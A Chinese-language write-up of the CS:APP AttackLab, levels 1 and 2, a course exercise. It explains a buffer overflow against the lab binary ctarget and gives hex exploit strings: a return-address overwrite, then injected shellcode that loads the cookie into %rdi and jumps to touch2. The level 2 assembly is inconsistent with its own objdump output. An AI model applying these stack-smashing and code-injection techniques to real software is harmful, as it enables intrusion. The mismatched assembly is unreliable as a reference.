AttackLab
操作系统:linux
调试工具:gdb
目录Level 1
我们是攻击者,也就是hack,其实我更喜欢骇客这个翻译,而不是黑客。level1 ~ level3
的攻击方式都是运行CTARGET
注入代码。
作为一名骇客小白,我们可以通过unix > objdump -d ctarget > ctarget.d
这段指令查看汇编代码,但我更喜欢用用gdb里的disas指令展示函数。这样更方便阅读。(这里就不需要打断点了)
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1(){
vlevel = 1;
/* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp #<touch1>的函数地址
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
第一个攻击任务是:
Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任务是运行CTARGET使得当getbuf运行结束后,运行touch1,这些行为要在test返回之前完成。
原本主函数test调用了getbuf函数,test返回时就结束了。但我们要在调用getbuf函数之后再多一个调用touch1函数。如何完成这个任务呢?
我们知道,当调用getbuf函数时,栈会给存留一个返回地址栈帧0x0000000000401976
,执行getbuf函数结束后,通过这个地址返回主函数test。我们只要把这个地址改为touch1的函数地址0x00000000004017c0
即可。
如何改呢?我们利用栈溢出的特性,因为getbuf函数开辟了40(0x28)beytes的栈空间,我们多输入8bytes的touch1的函数地址用来覆盖,之前的40bytes随意输入。(栈的一行里有8byte,返回地址也是8bytes)
同时注意到intel使用的是小端法排序,我们无需用0x注明十六进制,CTARGET会自动转为十六进制。
key:
/*level1.txt*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40
(c0 17 40
后续的零可填可不填,会自动补上的)
我们通过unix> ./hex2raw < level1.txt | ./ctarget -q
进行攻击。(./ctarget -q
,在./ctarget
之后加 -q
的原因是我们没法连接上CMU的服务器,在本地运行验证结果就行了;文件level1.txt
中存放着我们的答案)
hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Level 2
先查看代码及对应汇编代码:
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi #此时的%rsp是已经开辟空间的栈顶
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
(gdb) disas touch2
Dump of assembler code for function touch2:
0x00000000004017ec <+0>: sub $0x8,%rsp #<touch2>的函数地址
0x00000000004017f0 <+4>: mov %edi,%edx
0x00000000004017f2 <+6>: movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel>
0x00000000004017fc <+16>: cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401802 <+22>: jne 0x401824 <touch2+56>
0x0000000000401804 <+24>: mov $0x4030e8,%esi
0x0000000000401809 <+29>: mov $0x1,%edi
0x000000000040180e <+34>: mov $0x0,%eax
0x0000000000401813 <+39>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401818 <+44>: mov $0x2,%edi
0x000000000040181d <+49>: callq 0x401c8d <validate>
0x0000000000401822 <+54>: jmp 0x401842 <touch2+86>
0x0000000000401824 <+56>: mov $0x403110,%esi
0x0000000000401829 <+61>: mov $0x1,%edi
0x000000000040182e <+66>: mov $0x0,%eax
0x0000000000401833 <+71>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401838 <+76>: mov $0x2,%edi
0x000000000040183d <+81>: callq 0x401d4f <fail>
0x0000000000401842 <+86>: mov $0x0,%edi
0x0000000000401847 <+91>: callq 0x400e40 <exit@plt>
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.
level 2和leve 1类似,也是在test返回前调用一次touch2函数。但是在touch2函数val的值必须和cookie相同才算touch2函数调用成功。
那么得想办法调用touch2函数,即注入touch2的函数地址。
advice:
Recall that the first argument to a function is passed in register %rdi.
%rdi
中存储touch2函数着第一个参数。Your injected code should set the register to your cookie, and then use a
ret
instruction to transfer control to the first instruction in touch2.
你注入的代码应该把寄存器%rdi
设置为cookie
,然后中使用ret
指令转移控制权到touch2中的第一条指令(即touch2的函数地址0x4017ec
)。
根据advice及touch2源代码可以知道:(要写汇编代码)
- 用
movq
指令,$0x59b997fa
移入%rdi
。从而val == cookie
函数touch2执行成功。(在cookie.txt中存着cookie的值0x59b997fa
)。 - 用
push
指令压入touch2的函数地址,从而ret
时会返回为touch2的函数地址。
那么有:
//level2.s
movq $0x59b997fa, %rdi
pushq 0x4017ec6
ret
再将其转化为机器代码:使用linux> gcc -c level2.s
及linux> objdump -d level2.o
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o
level2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
从而得到部分注入代码:(机器代码已经使用小端法了)
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
那么现在问题来了,从哪里注入代码?答案应该是从栈顶,在getbuf
函数已经开辟栈空间的%rsp
处注入。
原因呢?如下图所示,注入的register必须在stack top之前。
接下来我们查找开辟栈空间的%rsp
对应地址。
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14
14 buf.c: 没有那个文件或目录.
(gdb) print $rsp
$1 = (void *) 0x5561dc78
好,最终我们有,key: (注意填充已经开辟的栈空间40bytes以及小端法)
//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$